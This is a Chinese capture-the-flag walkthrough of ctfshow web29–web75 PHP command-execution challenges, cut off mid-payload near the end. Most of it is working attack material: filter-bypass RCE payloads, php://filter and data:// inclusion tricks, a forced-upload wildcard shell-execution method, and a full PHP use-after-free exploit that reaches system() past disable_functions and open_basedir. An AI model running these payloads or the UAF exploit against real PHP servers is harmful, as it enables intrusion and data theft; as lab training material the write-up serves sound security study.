Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

Ctfshow 命令执行 web29

pregmatch是正则匹配函数,匹配是否包含flag,if(!preg_match("/flag/i", $c))/i忽略大小写

可以利用system来间接执行系统命令

flag采用f*绕过,或者mv fl?g.PHP 1.txt修改文件名,或者cat 反引号ls反引号

linux通配符:https://www.***blogs.***/ysuwangqiang/p/11364173.html

Ctfshow 命令执行 web30

多了对system和php的过滤

*绕过和passthru

Ctfshow 命令执行 web31

过滤flag system php cat sort shell . 空格 '

过滤了空格,可以使用%09替代;也可以使用{$IFS}或者$IFS$1

传参如下:

?c=passthru("tac%09fla*");

Ctfshow 命令执行 web32

过滤flag system php cat sort shell . 空格 ' 反引号 echo

之前的方法都没有用了。无所谓,文件包含会出手。

https://www.***blogs.***/endust/p/11804767.html

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resouRCE=flag.php

Ctfshow 命令执行 web33

又加了("的过滤,没事,文件包含还能出手。

Payload:

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

此外,这里日志包含也是可行的。

Ctfshow 命令执行 web34

好的这下:也被过滤了。没事,文件包含还能出手。

Payload:

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

Ctfshow 命令执行 web35

<=也被过滤了,没关系,文件包含还能出手

Payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Ctfshow 命令执行 web36

加了对/数字0-9的过滤,还是文件包含,一样的payload。

Ctfshow 命令执行 web37

好家伙直接给我文件包含了是吧

Payload: (采用了base64编码绕过过滤)

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==       

//(<?php system("tac flag.php");?>)

Ctfshow 命令执行 web38

Payload不变。

Ctfshow 命令执行 web39

虽然强加了后缀,但是不影响。因为?>已经闭合PHP语句了。

?c=data://text/plain,<?php system("tac fla*.php");?>

Ctfshow 命令执行 web40

过滤了很多东西。只有空格,分号,英文括号还可以用。

看了一下wp(https://blog.csdn.***/Kracxi/article/details/121041140),果然无能为力。这题考察无参RCE。

两种payload。

?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

以下是我解题过程中学习整理的关于无参RCE的函数实操等。(部分借鉴付劲远师傅的web思维导图)

除了无参RCE,还有个利用session的方法。

payload:

?c=session_start();system(session_id());

session_id(PHPSESSID)就是要执行的命令。

但是这个方法有个弊端,命令不能有空格,因为cookie不解析空格。

Ctfshow 命令执行 web41

无字母数字rce原理:利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说system,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。(https://www.***blogs.***/pursue-security/p/15404150.html)

代码审计,没有过滤或(|)。跑个脚本吧(脚本小子就是我了)

查看目录。

Ctfshow 命令执行 web42

先看源码,一个新东西>/dev/null 2>&1

含义:

1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。

> 代表重定向到哪里,例如:echo “123” > /home/123.txt

1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"

2 表示stderr标准错误

& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

绕过方法就是在命令后面加截断命令 ; %0a%26(&) ||。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1>/dev/null就是执行了命令1命令2 1>/dev/null,虽然命令2被重定向了,但是命令1没有。

Ctfshow 命令执行 web43

过滤了分隔符;那可以换成别的分隔符。对cat的过滤可以用tac,nl替代,或者用各种转义符\'"

Payload:

?c=tac flag.php%26

Ctfshow 命令执行 web44

加了一个对flag的过滤,我们用转义符绕过。

Payload:

?c=nl%20fl\ag.php||

Ctfshow 命令执行 web45

加了对空格的过滤,用%09代替。

Payload:

?c=tac%09fla*||

Ctfshow 命令执行 web46

2023.8.16时隔半年,强迫症迫使我把基础给算完。

增加了对数字*$的过滤,空格可以用<>或者<或者%09代替(%09是URL编码,不是数字),过滤了通配符*但是?也不能用了,所以flag用转义符\或者''

payload:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

发现一个奇怪的payload:这里通配符?又可以用了,弄得我满脸问号?????后来去查了一下,是因为**<?不能同时用**,上面的payload改成c=tac%09fla?.php||就好啦

?c=awk%09'/f/'%09fla?.php||

等价于?c=awk%09'/f/{print}'%09fla?.php||

确实能用,解释一下。这个payload就是输出flag.php文件中包含字符串f的行。

如果我们把f换成ctfshow,那就只输出flag了。

参考文章:

https://blog.csdn.***/Dark_Tk/article/details/114844529

Ctfshow 命令执行 web47

又多过滤了一些命令执行函数more less head sort tail。但是没过滤我最喜欢的tacnlawk

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||

Ctfshow 命令执行 web48

再多过滤了一些命令执行函数sed cut awk strings od curl反引号。但是没过滤我最喜欢的tacnl

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

Ctfshow 命令执行 web49

多过滤了百分号%,对我的payload没影响,我空格是用<绕过的。

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

Ctfshow 命令执行 web50

多过滤了\x09(水平制表符tab)和\x26(&),对我的payload没影响。

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

Ctfshow 命令执行 web51

多过滤了tac,payload还有一个能用。

payload不变:

?c=nl<fla''g.php||        //在源码里面

# Ctfshow 命令执行 web52

多过滤了<>,但是没过滤$,上题payload把空格用$IFS或者${IFS}绕过就行。

payload:

?c=nl$IFS/fla''g||        //flag在根目录
?c=nl${IFS}/fla''g|| 
?c=ta''c$IFS/fla''g||        
?c=c''at${IFS}/fla''g|| 

Ctfshow 命令执行 web53

过滤不变,这次也没有重定向了。

payload:

?c=nl${IFS}????.???
?c=nl$IFSfla''g.php||   
?c=nl${IFS}fla''g.php|| 
?c=ta''c$IFSfla''g.php||        
?c=c''at${IFS}fla''g.php|| 

Ctfshow 命令执行 web54

这次过滤的有点猛。

除了符号反引号\x09\x26%<>*之外,cat flag more wget less head sort tail sed cut tac awk strings od curl nl scp rm也被过滤了,而且无法使用转义符绕过。

用别的命令读取flag

?c=uniq${IFS}f???????

?c=grep${IFS}'tf'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有tf的文件,并打印出包含 tf 的这一行,好奇怪,这里只有tf、sh、ow、{、}能找出flag)

使用文件执行命令+通配符绕过过滤(注意,这里ca?${IFS}f???是不可以的)

/bin这个目录。

binbinary的简写,主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

?c=/bin/ca?${IFS}f???????

复制文件

?c=mv${IFS}fl?g.php${IFS}x.txt

Ctfshow 命令执行 web55

hint:

https://blog.csdn.***/qq_46091464/article/details/108513145

https://blog.csdn.***/qq_46091464/article/details/108557067

过滤了所有字母反引号\x09\x26%<>。这题考察无字母RCE。

方法一:

使用文件执行命令+通配符绕过过滤

?c=/???/????64 ????.???
//  即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有

?c=/???/???/????2 ????.???
//  即/usr/bin/bzip2 flag.php
//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。

方法二:

这题是命令执行不是代码执行,不能进行异或/拼接等操作。如果是eval()中内容可控(代码执行)才可以进行异或/拼接等操作,因为识别异或/拼接等操作的是PHP代码不是终端(cmd)。

【强制文件上传下的无字母数字RCE】

这题考PHP强制文件上传机制。

PHP超全局变量如下

$_GET      //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES     //存放所有文件

在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx

这个文件最后六位xxxxxx有大小写字母、数字组成,生命周期只在PHP代码运行时。

题目中正则匹配过滤了大小写字母(i)和数字。

故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/?????????

/???/?????????范围太大了,我们如何缩小范围呢。

查看ascii码表,A前面是@,Z后面是[

/???/????????[@-[]就表示了最后一位是大写

当临时文件最后一位是大写字母时/???/????????[@-[]就能匹配到这个文件

linux中 . 代表执行一个文件,相当于source 可以执行sh命令。

如果上传的文件是一个shell脚本,那么. /???/????????[@-[](burp里面空格要写成+或者%20)就能执行这个shell脚本,实现RCE。

如何强制上传文件?

我们可以在vps上写一个表单文件

upload.html

<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.***:8080/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>

访问vps上的upload.html

上传内容为whoamitxt文件。同时抓包。

改一下包。发现能正常执行了,并且返回了结果。

获得flag。(成功的概率,就是最后一位是大写的概率是26/26+26+10,多发几次包就行了)

Ctfshow 命令执行 web56

这次把数字也过滤了。

和上题一样,PHP强制上传文件机制还是可以使用滴。

Ctfshow 命令执行 web57

这次过滤了很多。过滤了点号.,不能用PHP强制上传文件机制

preg_match("/\;|[a-z]|[0-9]|\反引号|\|\#|\'|\"|\反引号|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)

题目提示flag in 36.php

关键代码:system("cat ".$c.".php");

我们可控的是$c,根据提示,我们只需要构造出36即可。


先补个前置知识:二进制取反

二进制中第一位为符号位,0代表正数,1代表负数,如 0000 0001+11000 0001-1。同时加上补码原码等相关概念,就可以理解二进制取反。

结论:如对 a 按位取反,则得到的结果为 -(a+1)。36取反是-37-37取反是36

详细请看:https://zhuanlan.zhihu.***/p/261080329


在linux中

${_} 代表上一次命令执行的结果

$(()) 代表做运算,为0

$((~$(()))) 代表~0(0取反)为-1

$((~$(()))) $((~$(()))) $((~$(()))) 代表-1-1-1

$(( $((~$(())))$((~$(())))$((~$(()))) )) 代表-1-1-1做运算就是-3

$((~$(( $((~$(())))$((~$(())))$((~$(()))) )))) 代表-1-1-1做运算后-3取反就是2

中间37个$((~$(())))就是-37,取反后就是36

$((~$((   $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))   ))))

payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

flag在源码中。

Ctfshow 命令执行 web58

这题无过滤,但是开始禁用函数了。

一般是先看phpinfo查看被禁用的函数。但是这里phpinfo也被禁用了,只能一个一个尝试。

禁用了phpinfosystemshell_exec

Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));(查看根目录:print_r(scandir(‘/’)); )

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

读文件的函数有这些:

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()

读文件函数payload:

c=echo file_get_contents('flag.php');

c=echo highlight_file('flag.php');
c=highlight_file("flag.php");

c=show_source('flag.php');

c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}

//file()函数:把整个文件读入一个数组中
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));

c=readfile("flag.php");

//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

也可以复制、重命名文件:

copy("flag.php","flag.txt");            
rename("flag.php","flag.txt");  

文件包含直接读取flag:

c=include('flag.php');echo $flag;

c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php

c=include('flag.php');var_dump(get_defined_vars());
//var_dump:输出注册变量
//get_defined_vars():函数返回由所有已定义变量所组成的数组

此外,还能使用无参RCE、日志包含等方法,就不一一列举了。

Ctfshow 命令执行 web59

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web60

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web61

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web62

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web63

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web64

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web65

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web66

相较于web58,源码一样,但是之前payload都用不了了,仔细一查是flag文件路径变了。

回忆一下Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));(查看根目录:print_r(scandir(‘/’)); )

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

我们先看看当前目录:

c=print_r(scandir(dirname('__FILE__')));

确实没有flag。

再看看根目录:

c=print_r(scandir('/'));

发现flag在根目录flag.txt文件中,那么把之前的payload中的flag.php换成/flag.txt就行了。

Ctfshow 命令执行 web67

源码还是一样,相较于wen66,过滤了print_r()函数,我们用var_dump()函数替换。flag还是在根目录flag.txt文件中。

看看根目录:

c=var_dump(scandir('/'));

其他同web66、web58。

Ctfshow 命令执行 web68

又ban了highlight_file()函数,导致我们看不见源码。但是源码还是一样的。

我们还有很多方法。同web67。

Ctfshow 命令执行 web69

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wt49l3pr-1692463133485)(https://tc-md.oss-***-hangzhou.aliyuncs.***/img/202308191458554.png)]

从web58到这里,文件显示的代码,比如show_sourcehighlight_filefile_get_contents等基本都被禁了,但是文件包含一直屹立不倒,还是本篇文章开头那句,无所谓,文件包含会出手

学到这里我发现,从一开始感觉web板块的知识点是一座一座孤岛,到现在有部分知识能融合到一起,算是有所成长吧。

这题把var_dump()函数ban了,可以用var_export()函数替换。

此外,如果scandir()被过滤可以用glob()。用法var_dump(glob('/*'));

看看根目录:

c=var_export(scandir('/'));

命令执行拿flag。

c=include('/flag.txt');var_export(get_defined_vars());

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5YMZpf6Q-1692463133486)(https://tc-md.oss-***-hangzhou.aliyuncs.***/img/202308191503405.png)]

Ctfshow 命令执行 web70

做法同web69。

Ctfshow 命令执行 web71

这题附件给了源码,源码如下:

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

ob_get_contents():得到缓冲区的内容(数据)。
ob_end_clean():会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
preg_replace("/[0-9]|[a-z]/i","?",$s):把存放缓冲区内容的变量$s的内容都替换为问号。用之前payload发现输出的一大堆问号,就是因为这句话。


方法一:(这个方法目前网上只有我这篇有,雅虎~)

既然eval()函数给了我们执行任意代码的力量,那我们模仿源码,以其人之道还之其人之身。

payload:

c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;

方法二:

也可以用exit()/die()提前结束代码,这样就不会将字符替换为问号
playload:

c=include('/flag.txt');var_export(get_defined_vars());exit();
或者
c=include('/flag.txt');var_export(get_defined_vars());die();

方法三:

其实方法一和方法三原理是一样的,都是手动输出缓冲区。不过这种方法输出的字符肉眼不可识别。。。

c=include("/flag.txt");echo ~ob_get_contents();

自动化POC:

import requests

url = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"

d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content



for i in s:
    print(chr(~i&0xff), end='')
    
# 脚本来自群里阿狸师傅

Ctfshow 命令执行 web72

源码不变。

这题flag位置又变了。就像她,是如此的善变。

读目录。

c=var_export(scandir('/'));exit();

发现读不了,有open_basedir配置项限制,把目录限制在了/var/www/html/

open_basedir配置项在NepNepCTF-2023的Ez_include中也出现过。

我们可以利用glob伪协议glob伪协议在筛选目录时不受open_basedir制约。也就是web58中,Y4师傅给的第二种查看目录的方法。

查看根目录,发现flag在flag0.txt文件中。

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

知道了flag文件的位置,接下来就是如何绕过open_basedir制约读取文件,这里大师傅们给了一个脚本:

<?php
pwn("命令");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

脚本中str_repeat()函数被过滤了,我们使用sprintf()函数替换。


payload需要根据需要闭合源码修改命令URL编码(本篇wp中是未编码的)。

c=?><?php
pwn("tac /flag0.txt");
 
function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();
}

Ctfshow 命令执行 web73

源码一样,这题比web72还少了一个open_basedir配置项制约。

读根目录,flag在flagc.txt文件中

c=var_export(scandir('/'));exit();

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1Qz5EPBx-1692463133488)(https://tc-md.oss-***-hangzhou.aliyuncs.***/img/202308191925376.png)]

但是这里把include读取flag。

c=include('/flagc.txt');var_export(get_defined_vars());die();

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JTBiPu5h-1692463133488)(https://tc-md.oss-***-hangzhou.aliyuncs.***/img/202308191929591.png)]

Ctfshow 命令执行 web74

源码一样。

禁用了scandir()函数。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jGwN9I1j-1692463133488)(https://tc-md.oss-***-hangzhou.aliyuncs.***/img/202308191933891.png)]

读取根目录:(flag在flagx.txt文件中)

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
或者
c=var_export(glob('/*'));die();

其余同web73。

c=include('/flagx.txt');var_export(get_defined_vars());die();

Ctfshow 命令执行 web75

看起来和之前一样。

这题又加上了open_basedir限制。

读取根目录:(flag在flag36.txt文件中)

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();

尝试web72的脚本读取flag失败了。

官方hint的解法是:
利用mysqlload_file读文件,绕过open_basedir 限制。(只限制了PHP的访问目录,不关MYSQL的事情)

数据库名、账号密码可以通过之前的题目(过滤少的)拿到。所以这个方法条件是必须要有数据库名、账号密码

PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。

PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。

PDO随PHP5.1发行,应用条件是PHP>5.1

payload:

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
